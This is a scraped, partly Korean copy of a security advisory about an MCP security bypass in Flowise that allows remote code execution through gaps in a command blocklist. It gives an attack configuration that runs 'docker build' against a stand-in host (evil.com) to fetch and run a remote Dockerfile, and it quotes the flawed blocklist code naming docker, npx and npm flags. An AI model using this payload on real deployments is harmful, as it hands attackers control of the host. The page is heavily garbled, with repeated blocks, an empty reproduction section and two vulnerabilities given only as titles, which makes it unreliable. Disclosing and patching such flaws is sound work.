Flowise has an MCP Security Bypass that Enables RCE (GHSA-m99r-2hxc-cp3q)

생태계	패키지	수정 버전
npm	flowise	3.1.2
npm	flowise-components	3.1.2

생태계

패키지

수정 버전

npm

flowise

3.1.2

npm

flowise-components

3.1.2

원문

Flowise has an MCP Security Bypass that Enables RCE

Summary

There are three bypass methods for the security limitations of the Flowise MCP feature, and attackers can execute arbitrary commands by combining these three methods

Details

【Vulnerability one】The Docker build subcommand not being on the blocklist leads to remote code execution

The attacker configures the interface through the MCP tool to provide {"command":"docker","args":["build","https://evil.com/"]} as the Custom MCP Server configuration → Bypass the validateCommandFlags docker blocklist (only blocks run/exec/-v/--volume, etc., but does not block build) → docker build <remote-URL> will pull the Dockerfile from the remote address and execute the RUN instructions within it → Allows attackers to escape from Docker through methods such as mounting, thereby gaining full control of the Flowise host machine

Precondition:

Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows
The deployment environment has the docker command

Vulnerable function - validateCommandFlags:

file: packages/components/nodes/tools/MCP/core.ts:260-310

const COMMAND_FLAG_BLACKLIST: Record<string, string[]> = {
    docker: [
        'run', 'exec', '-v', '--volume', '--privileged', '--cap-add',
        '--security-opt', '--network', '--pid', '--ipc'
        //  'build', 'pull', 'push', 'cp', 'commit' are not on the blocklist 
    ],
    npx: ['-c', '--call', '--shell-auto-fallback', '-y'],
    npm: ['run', 'exec', 'install', '--prefix', '-g', '--global', 'publish', 'adduser', 'login'],
    // ...
}
export function validateCommandFlags(command: string, args: string[]): ValidationResult {
    const blacklist = COMMAND_FLAG_BLACKLIST[command] || []
    for (const arg of args) {
        if (blacklist.includes(arg)) {
            return { valid: false, error: `Argument '${arg}' is not allowed for command '${command}'` }
        }
    }
    return { valid: true }
}

Reproduction process:

생태계	패키지	수정 버전
npm	flowise	3.1.2
npm	flowise-components	3.1.2

생태계

패키지

수정 버전

npm

flowise

3.1.2

npm

flowise-components

3.1.2

원문

Flowise has an MCP Security Bypass that Enables RCE

Summary

There are three bypass methods for the security limitations of the Flowise MCP feature, and attackers can execute arbitrary commands by combining these three methods

Details

【Vulnerability one】The Docker build subcommand not being on the blocklist leads to remote code execution

Precondition:

Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows
The deployment environment has the docker command

Vulnerable function - validateCommandFlags:

file: packages/components/nodes/tools/MCP/core.ts:260-310

const COMMAND_FLAG_BLACKLIST: Record<string, string[]> = {
    docker: [
        'run', 'exec', '-v', '--volume', '--privileged', '--cap-add',
        '--security-opt', '--network', '--pid', '--ipc'
        //  'build', 'pull', 'push', 'cp', 'commit' are not on the blocklist 
    ],
    npx: ['-c', '--call', '--shell-auto-fallback', '-y'],
    npm: ['run', 'exec', 'install', '--prefix', '-g', '--global', 'publish', 'adduser', 'login'],
    // ...
}
export function validateCommandFlags(command: string, args: string[]): ValidationResult {
    const blacklist = COMMAND_FLAG_BLACKLIST[command] || []
    for (const arg of args) {
        if (blacklist.includes(arg)) {
            return { valid: false, error: `Argument '${arg}' is not allowed for command '${command}'` }
        }
    }
    return { valid: true }
}

Reproduction process:

Flowise has an MCP Security Bypass that Enables RCE

영향 받는 패키지

원문

Summary

Details

【Vulnerability one】The Docker build subcommand not being on the blocklist leads to remote code execution

출처

Flowise has an MCP Security Bypass that Enables RCE

영향 받는 패키지

원문

Summary

Details

【Vulnerability one】The Docker build subcommand not being on the blocklist leads to remote code execution

출처

【Vulnerability two】 npx --yes long parameter alias bypassing blocklist leads to remote code execution

node command bypassing local file restrictions leads to remote code execution

Impact